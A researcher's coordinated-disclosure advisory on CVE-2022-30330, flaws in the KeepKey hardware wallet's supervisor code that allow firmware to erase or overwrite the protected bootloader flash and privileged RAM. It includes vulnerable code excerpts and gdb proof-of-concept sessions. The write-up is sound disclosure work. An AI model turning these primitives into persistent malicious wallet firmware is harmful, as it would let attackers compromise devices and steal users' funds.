KeepKey Supervisor Vulnerabilities (CVE-2022-30330)

May 18, 2022 • Christian Reitter
ID: CVE-2022-30330

Related articles: KeepKey Message State Handling Vulnerability (VULN-22003) • Glitching over KeepKey Firmware Protections (VULN-21020) • Faulty Stack Smashing Protection on ARM Systems

The article describes several vulnerabilities in the KeepKey hardware wallet. Flaws in the supervisor interface can be exploited to bypass important security restrictions on firmware operations. Using these flaws, malicious firmware code can elevate privileges, permanently make the device inoperable or overwrite the trusted bootloader code to compromise the hardware wallet across reboots or storage wipes.

The new discovery has implications for code execution attacks such as CVE-2021-31616, attacks with some level of physical access as well as the general trust expectations for the wallet system integrity after the installation of unofficial firmware.

Contents

Consulting

I'm a freelance Security Consultant and currently available for new projects. If you are looking for assistance to secure your projects or organization, contact me.

High-Level Summary

The following article is highly technical, so here is a slightly less-technical summary.

The KeepKey hardware wallet has some basic protections in place to limit what some parts of its software can do. This gives trust in the device by making it harder to backdoor permanently via malware, similar to modern smartphone systems.

The new flaws in KeepKey protections that I discovered basically allow a "Jailbreak" of the KeepKey. The main program on the device can break out of the protective cage it is in. This may be useful for some power users who want more control over their device, but it's also useful for attackers who temporarily made it onto the device somehow or have physical access and can install custom firmware. They can use these flaws to permanently corrupt the core device software.

A device with malicious core software no longer has to follow the normal rules. It could generate new mnemonic secrets that an attacker has access to, lie to you about installing updates or attack your computer via USB. It can also erase itself and stop working at any time. This is clearly a bad situation for trusting the device with funds, and the extra annoying part is that it is difficult to find out *if* a device is malicious, for example if you buy a new one tomorrow from a less-trustworthy seller. Unfortunately, the hologram stickers won't help you and wiping the device storage or reinstalling the firmware is not enough.

My main recommendation is to swiftly install the new security patches. However, if you have previously used firmware `v7.0.3` on computers or websites you don't fully trust, it may be a good time to read up on CVE-2021-31616, check your funds and change your mnemonic seed or device.

Be extra careful about new devices that you buy, as this vulnerability makes it cheaper for attacker to corrupt them.

Technical Introduction

This article focuses on breaking the security supervisor code implementation of the KeepKey hardware wallet. To understand the context, first a little primer on what this software component is supposed to be doing.

The ARM Cortex M3 microcontroller series does not have any multi-tasking capability or sophisticated process security concepts that one may expect from larger processors. Instead, the available hardware-assisted protections consist of a two-level privilege concept for code separation at runtime which is enforced through hardware-assisted privilege level handling and memory protection settings. The Trezor and KeepKey system designs use this privilege system to limit potential actions of malicious firmware, especially for the flash write operations, with the goal to harden the overall system or at least make security issues observable to the user. This is done through a software root-of-trust concept based on a trusted bootloader, combined with cryptographically signed firmware releases. The bootloader controls firmware updates, checks firmware signatures on device startup, and provides the code for the supervisor component that is active after boot.

Essential configuration steps during startup:

1. The Memory Protection Unit (MPU) for the lower-privileged operation mode is configured to disallow access to flash controller related memory areas, the flash, the bootloader RAM section and other memory. This limits the internal access of the firmware.
2. The code drops permissions by switching into a lower-privileged mode before starting the main firmware (for custom firmware) or briefly after the start of main firmware execution (for signed firmware). From this state, hardware protections ensure that the firmware is not able to directly re-enter the privileged mode or change the MPU configuration. This helps to limit the impact of code issues or compromises of the main firmware during normal operations.

On the KeepKey, the supervisor logic mainly focuses on guarding flash operations. All flash writes of the firmware are proxied through the supervisor code via custom interrupts. The `svc_handler_main()` is tasked with the role of a gatekeeper for potentially dangerous accesses.

However, I've discovered that this code is broken in several ways, which completely undermines the sandbox design and allows the firmware to break out of it.

The Vulnerabilities

During security research in February 2022, I took a closer look at the `supervise.c` code and found several flaws. They are clustered into several sections with similar issue patterns.

Insufficient Protection of Flash Sector Erase Functionality (VULN-22004)

The ARM Cortex M onboard flash is divided into a number of differently sized flash sectors. On the `STM32F205` chip that the KeepKey uses, they have the id `0` to `11`. Sector numbers go up to `23` on other STM32 chip series.

For technical reasons, the supervisor function call parameters of `svc_*` functions are typically passed as unsigned 32-bit integer variables during the interrupt handling. As a result, despite the limited numerical range that is actually required to describe the target sector, `svhandler_flash_erase_sector()` accepts and internally uses the full 32-bit `uint32_t sector` for describing the flash sector ID that should be erased.

This choice of parameter type is problematic.

The defensive code checks on the flash erase are designed to reject the three specific sector numbers of 0, 5 and 6 that correspond to important flash areas for the bootloader and for the microcontroller configuration that are exclusively controlled by the bootloader. Aside from the three numbers on the blocklist, they allow the main firmware to request erasures of all other sectors.

Here is the corresponding code:

```
uint32_t sector = _param_1;

// Do not allow firmware to erase bootstrap or bootloader sectors.
if ((sector == FLASH_BOOTSTRAP_SECTOR) ||
    (sector >= FLASH_BOOT_SECTOR_FIRST && sector <= FLASH_BOOT_SECTOR_LAST)) {
  return;
}
```

supervise.c

The sector erase is done via a `libopencm3` library call:

```
// Erase the sector.
flash_erase_sector(sector, FLASH_CR_PROGRAM_X32);
```

supervise.c

Crucially, the libopencm3 library function is defined as follows:

```
void flash_erase_sector(uint8_t sector, uint32_t program_size)
```

libopencm3 documentation

Why is this a problem?

`svhandler_flash_erase_sector()` treats the sector number as an unsigned 32 bit number, and incorrectly expects the flash library function *to count the same way*. Instead, the difference in `sector` integer type leads to a well-defined but lossy unsigned integer conversion of the sector number down to the `uint8_t` type before it is handed over to the library function.

This conversion maps multiple larger numbers into the forbidden sector numbers `0`, `5` and `6`. An attacker can use this to completely bypass the defensive checks shown previously. For example, a deletion request for the sector `256` passes the checks but then actually asks the library to erase the forbidden sector `0`.

Using this flaw, malicious firmware can request the erasure of any flash sector.

Similar Code Problem on Trezor One

During analysis of the erase problem, I found a similar problem in the Trezor One code. It uses a `uint16_t sector` variable that theoretically has the same integer conversion problem during the `flash_erase_sector(sector, FLASH_CR_PROGRAM_X32)` call.

However, the Trezor code uses an allowlist approach for the sector checks, which doesn't let any problematic values through:

```
/* we only allow erasing storage sectors 2 and 3. */
if (sector < FLASH_STORAGE_SECTOR_FIRST ||
    sector > FLASH_STORAGE_SECTOR_LAST) {
  return;
}
```

supervise.c

Sectors `2` and `3` don't have a conversion problem, therefore the Trezor One is not practically affected via this issue.

Insufficient Protection of Flash Block Write Functionality (VULN-22005)

The KeepKey supervisor interface has two functions for flash writes:

- `svhandler_flash_pgm_word()` for writing individual 32-bit words to flash
- `svhandler_flash_pgm_blk()` for writing larger blocks of memory to flash

`VULN-22005` concerns the block write functionality. The code has existing defenses that detect overflows of the address calculation. It also checks that the `beginAddr` and `beginAddr + length` pointers are not *in* the forbidden memory regions of sectors `0` or `5 & 6`.

Here is the first part of the code checks:

```
// Do not allow firmware to erase bootstrap or bootloader sectors.
if (((beginAddr >= BSTRP_FLASH_SECT_START) &&
      (beginAddr <= (BSTRP_FLASH_SECT_START + BSTRP_FLASH_SECT_LEN - 1))) ||
     (((beginAddr + length) >= BSTRP_FLASH_SECT_START) &&
      ((beginAddr + length) <=
      (BSTRP_FLASH_SECT_START + BSTRP_FLASH_SECT_LEN - 1)))) {
  return;
}
```

supervise.c

However, these defenses have are incomplete. They do not prevent a situation where `beginAddr` points in *front* of the forbidden region and `beginAddr + length` points *behind* it. In other words, whole bootloader sections can be overwritten as long as at least one extra byte behind and in front of them is also overwritten.

Using this flaw, malicious firmware can modify protected flash memory in bulk.

Limitations of this Attack

Similarly to `svhandler_flash_pgm_word()`, the block write has the typical limitations when writing data to physical flash memory, which means it can only change flash memory bits from `1` to `0`. If this were the only vulnerability a malicious firmware had access to, modifications would be limited to flipping bits in one direction in the existing flash data contents. However, this attack can be combined with vulnerability `VULN-22004` from the previous section, which makes the data limitation go away. By first erasing the targeted flash region and then overwriting it, memory content can be modified arbitrarily.

During practical testing, writing into sector `0` using the `svhandler_flash_pgm_blk()` does not work. The attack requires at least one write operation *in front* of the targeted sector. However, the required flash write in front of sector `0` is not seen as valid by the microcontroller and the operation gets stuck. The memory in front of sector `0` is *"reserved"* according to datasheet. It may be possible to circumvent this problem by using some other undocumented edge case behavior. However, I haven't explored this edge case further after the discovery of another attack that doesn't share this limitation.

Writing over the combined sector block 5+6 works as described, see the proof-of-concept.

Unrestricted Memory and Flash Overwrite via Supervisor Functions (VULN-22006)

While looking into additional problems of `VULN-22005`, I noticed that the arbitrary pointer "write data from the source to the destination" construction of `svhandler_flash_pgm_blk()` and "write this value to the destination" of `svhandler_flash_pgm_word()` are very powerful primitives. The blocklist-based defense has shown to be incomplete, are there other ways to misuse them?

After digging a bit deeper, I realized that one needs to view these functions as privileged memory write gadgets (both functions) or a privileged memory read gadget (via `svhandler_flash_pgm_blk()`). This is because the STM32 uses memory-mapped IO to write to the flash and has one continuous memory region. In other words, the microprocessor generally treats flash content as normal memory and writes to it word-wise with direct assignments, or smaller writes if necessary. Therefore, the libopencm3 flash functions can essentially be used to write or read any other data in the STM32 address space if they're called with target pointers outside of flash space.

For example, the `flash_program_word()` essentially prepares the flash write, unlocks the flash and then does a simple write:

```
void flash_program_word(uint32_t address, uint32_t data)
{
        /* Ensure that all flash operations are complete. */
        flash_wait_for_last_operation();
        flash_set_program_size(FLASH_CR_PROGRAM_X32);

        /* Enable writes to flash. */
        FLASH_CR |= FLASH_CR_PG;

        /* Program the word. */
        MMIO32(address) = data;

        /* Wait for the write to complete. */
        flash_wait_for_last_operation();

        /* Disable writes to flash. */
        FLASH_CR &= ~FLASH_CR_PG;
}
```

supervise.c

Crucially, the `MMIO32(address) = data;` succeeds even if it's not in flash related memory space. The `svhandler_flash_pgm_blk()` works similarly and can also be used to copy secret information out of protected memory.

Since this write operation happens in the context of the privileged bootloader code, it does not falls under the restrictive MPU protections for the unprivileged thread. This is a huge problem for the supervisor integrity. The supervisor operates on its own little memory stack that's protected by the MPU from interference by the main firmware:

```
    // SRAM (0x2001F800 - 0x2001FFFF, bootloader protected ram, priv read-write
    // only, execute never, disable high subregion)
    MPU_RBAR = BLPROTECT_BASE | MPU_RBAR_VALID | (2 << MPU_RBAR_REGION_LSB);
    MPU_RASR = MPU_RASR_ENABLE | MPU_RASR_ATTR_SRAM | MPU_RASR_DIS_SUB_8 |
               MPU_RASR_SIZE_2KB | MPU_RASR_ATTR_AP_PRW_UNO | MPU_RASR_ATTR_XN;
```

memory.c

The memory region protection falls apart if the main firmware can make the privileged thread corrupt its own stack with targeted writes. This has a significant impact on the bootloader code integrity at runtime. Practical impact may be limited a bit by stack protection and other defenses, but those can likely be circumvented through additional writes.

Additionally, in the global address space of the STM32, important device control registers are memory-mapped to special positions. The unprivileged firmware can access them with through the same flaw, for example the flash controller:

```
    // by default, the flash controller regs are accessible in unpriv mode, apply
    // protection (0x40023C00 - 0x40023FFF, privileged read-write, unpriv no,
    // execute never)
    MPU_RBAR = 0x40023c00 | MPU_RBAR_VALID | (4 << MPU_RBAR_REGION_LSB);
    MPU_RASR = MPU_RASR_ENABLE | MPU_RASR_ATTR_PERIPH | MPU_RASR_SIZE_1KB |
               MPU_RASR_ATTR_AP_PRW_UNO | MPU_RASR_ATTR_XN;
```

memory.c

This can have additional impact, although the MPU still protects some parts of the flash, so there is a remaining barrier against direct modifications of sector `0`.

How can we break the remaining defenses?

The explicit memory region defense logic of the mentioned flash write functions assumes that there is only one canonical way to address and overwrite the protected flash sections. However, this assumption is wrong: as the `STM32F205` datasheet hints at on page 66, other memory regions such as `0x0000 0000` to `0x000F FFFF` can *alias* into the flash memory range. Here is a helpful visual overview of relevant memory regions.

What does this mean? Depending on the microcontroller system configuration, the lower memory ranges *map directly into flash memory*, just as the "main" flash memory section starting at `0x08000000` does. The main difference is that the supervisor flash functions forbid access to the protected sectors in the `0x080....` regions due to the address comparisons, but they completely allow all writes to the `0x000....` region.

Bingo! We've just broken the remaining bootloader and trusted boot code integrity defenses.

At this point, I would like to give some credits to Thomas Roth and the rest of the wallet.fail team. They published this memory alias based attack concept as part of the `F00DBABE` attack in 2018, see the talk section of their classic 35C3 presentation. I half-remembered, half re-discovered this on my own for the KeepKey, but their work is clearly a direct inspiration for the attack idea.

By making the privileged thread write into the aliased flash region, the write protections for sectors `0`, `5` and `6` are circumvented without the strict need for special offsets or complete sector overwrites. This allows more targeted overwrites of individual areas than the previously described `VULN-22005` vulnerability.

As a result of this attack, the complete flash memory can be replaced with arbitrary contents, which breaks the core security model of the KeepKey root of trust.

POC

Please read the following section carefully.

By the nature of the KeepKey hardware wallet design, access to `SWD` and other debug interfaces is permanently disabled on production devices and production firmware. This is done with the explicit goal to prevent read or write access to the flash. As a result, there is no intended or straightforward way to recover from problems with the boot-related flash memory. Testing the issues discussed in this article directly requires erasing or modifying flash content in those essential sectors, so there is a good chance that you'll permanently turn your test device into a dead device. No, it's not resting - it's stone dead! 🦜.

To prevent any devices from passing on due to catastrophic flash writes, it is required to both

1. Have a custom KeepKey with an unlocked `STM32F205` microcontroller that is not in `RDP2` state.
2. Use custom compiled variants of bootloader and firmware which do not lock it.

A custom KeepKey devkit can be built by SMD rework, specifically by replacing the TQFP64 chip with a new chip in factory configuration and programming the custom bootloader and firmware variants.

In this configuration, a hardware debugger like the STLINK-V3 can be connected and used to restore flash contents externally as well as controlling the execution. Note that the MPU and thread privilege mechanisms are still active, the unit is just at `RDP0` debug protection level. The POC section describes testing steps with such a setup.

The following proof-of-concept steps will be deadly to your device unless you have working hardware debugger access. You have been warned.

POC for VULN-22004 and VULN-22005

This is a combined proof-of-concept for two issues.

For `VULN-22004`, the sector number `261` is used to target sector `261 % 256 = 5`.

```
// connecting to SWD debug, firmware in idle
display_refresh () at /root/keepkey-firmware/lib/board/keepkey_display.c:296

// original sector 5 bootloader start
// normal code content
(gdb) x/16xb 0x08020000
0x8020000:     0xe8     0xfe     0x01     0x20     0xef     0x0c     0x02     0x08
0x8020008:     0xe9     0x13     0x02     0x08     0xf9     0xa2     0x02     0x08

// using vulnerability VULN-22004 to erase sector no. 5
// this triggers the supervisor call from the main firmware
(gdb) call svc_flash_erase_sector(261)

// sector 5 is now in erased 0xff state
// attack successful
```

```
(gdb) x/16xb 0x08020000
0x8020000:     0xff     0xff     0xff     0xff     0xff     0xff     0xff     0xff
0x8020008:     0xff     0xff     0xff     0xff     0xff     0xff     0xff     0xff


// arbitrarily chosen memory region with source data
(gdb) x/16xb 0x20000000 + 1024*10
0x20002800 <shadow_config+32>:     0x33     0x30     0x30     0x30     0x31     0x43
0x20002808 <shadow_config+40>:     0x00     0x00     0x00     0x00     0x10     0x00

// using vulnerability VULN-22005 to overwrite the bootloader sector 5 and 6 wi
(gdb) call svc_flash_pgm_blk(0x0801FFFF, 0x20000000 + 1024*10 , 0x20000*2+1)
// [...]

// result shows that the flash is overwritten with the provided values
// note the expected 1-byte address offset due to the target offset
(gdb) x/16xb 0x08020000
0x8020000:     0x30     0x30     0x30     0x31     0x43     0x30     0x30     0x00
0x8020008:     0x00     0x00     0x00     0x10     0x00     0x00     0x00     0x7c
```

POC VULN-22006 - Attacking Privileged SRAM Region

```
// connecting to a SWD debug, firmware in idle

// show target area in supposedly secure bootloader ram
(gdb) x/16xb 0x2001F800
0x2001f800:     0x00     0x00     0x00     0x00     0x00     0x00     0x00     0x00
0x2001f808:     0x00     0x00     0x00     0x00     0x00     0x00     0x00     0x00

// attack via vulnerability VULN-22006
// 32-bit word write variant
(gdb) call svc_flash_pgm_word(0x2001F800, 0x42424242)
$2 = true

// show successful write
(gdb) x/16xb 0x2001F800
0x2001f800:     0x42     0x42     0x42     0x42     0x00     0x00     0x00     0x00
0x2001f808:     0x00     0x00     0x00     0x00     0x00     0x00     0x00     0x00
```

```
// connecting to a SWD debug, firmware in idle

// show target area in supposedly secure bootloader ram
(gdb) x/16xb 0x2001F800
0x2001f800:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x2001f808:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

// attack via vulnerability VULN-22006
// block write variant
// copy data from firmware SRAM to bootloader SRAM
// chosen source and size are arbitrary examples
(gdb) call svc_flash_pgm_blk(0x2001F800, 0x20000000 + 1024*10, 16)
$1 = true

// show successful write
(gdb) x/16xb 0x2001F800
0x2001f800:    0x33    0x30    0x30    0x30    0x31    0x43    0x30    0x30
0x2001f808:    0x00    0x00    0x00    0x00    0x10    0x00    0x00    0x00
```

For comparison, the following call with firmware-level access would lead to a memory exception due to the MPU:

```
(gdb) call memset(0x2001F800, 0x00, 4)
```

POC VULN-22006 - Attacking Privileged Flash Region

```
// inspect sector 0 beginning at the main address
(gdb) x/16xb 0x8000000
0x8000000:    0xf8    0xff    0x01    0x20    0xc7    0x01    0x00    0x08
0x8000008:    0x2b    0x02    0x00    0x08    0x29    0x02    0x00    0x08

// write 0x00000000 into address 0x0, which aliases to 0x8000000
(gdb) call svc_flash_pgm_word(0x0, 0x0)
$2 = true

// show successful write
(gdb) x/16xb 0x8000000
0x8000000:    0x00    0x00    0x00    0x00    0xc7    0x01    0x00    0x08
0x8000008:    0x2b    0x02    0x00    0x08    0x29    0x02    0x00    0x08
```

Attack Scenario and Security Implications

See the high-level summary.

This section will be extended later.

The discovered KeepKey issues apply to all recent bootloader versions since the problems in `supervisor.c` have been present for multiple years.

Coordinated disclosure

The coordinated disclosure went similarly to the VULN-22003 disclosure that started slightly earlier in February with the same vendor. I received a lot of good feedback and confirmation in a technical call about two weeks into the disclosure.

Unfortunately, there was a significant gap in the communication in April where I was unable to reach them via multiple communication channels. As a result, I did not have a chance to comment on their patch set before the release or coordinate with them on a publication date. It's good to see that they still released a firmware fix and public acknowledgment within the 90-day timeframe. I have been able to re-establish communications in May.

I'm looking forward to the full vendor advisory, which has not been released at the time of writing.

Relevant product

Product	Source	Known Affected Version	Fixed Version	Patch	Vendor Publications	IDs
ShapeShift KeepKey	GitHub	bootloader ≤ bl_v2.0.0	bootloader **bl_v2.1.4**	patch1	bl_v2.1.4 + v7.3.2 GitHub Changelog	CVE-2022-30330 VULN-22004, VULN-22005, VULN-22006

I'm not aware of other hardware wallets with practical security impacts.

Please note that I've included SatoshiLabs in the disclosure communication due to the Trezor One product to ensure that there are no practical vulnerabilities on the Trezor side where some the code originated from after finding a minor code issue. Ultimately, the Trezor One did not have any practical issues and we did not switch to a full multi-vendor format for the coordinated disclosure. This approach was discussed with both vendors.

A Note About Research Affiliation and Work Time

I want to emphasize that the main work for this security research was done on my own time and initiative. In particular, the original research that led to the discovery of the issue was not sponsored by SatoshiLabs.

With agreement by ShapeShift, I spend some paid hours on extended background research to evaluate the potential security impacts of related issues on the Trezor project for SatoshiLabs.

Detailed timeline

Date	Information
2022-02-23	Confidential disclosure to ShapeShift, with CC to SatoshiLabs
2022-03-10	Technical call with ShapeShift, ShapeShift acknowledges the issues
2022-04-26	ShapeShift releases patched bootloader version `bl_v2.1.4` together with firmware `v7.3.2`
2022-04-26	ShapeShift publishes a short advisory summary via the GitHub tag description
2022-05-07	`CVE-2022-30330` assigned by MITRE
2022-05-18	Publication of this blog article

Bug bounty

ShapeShift paid a bug bounty for this issue.

Christian Reitter

Information security and other interests.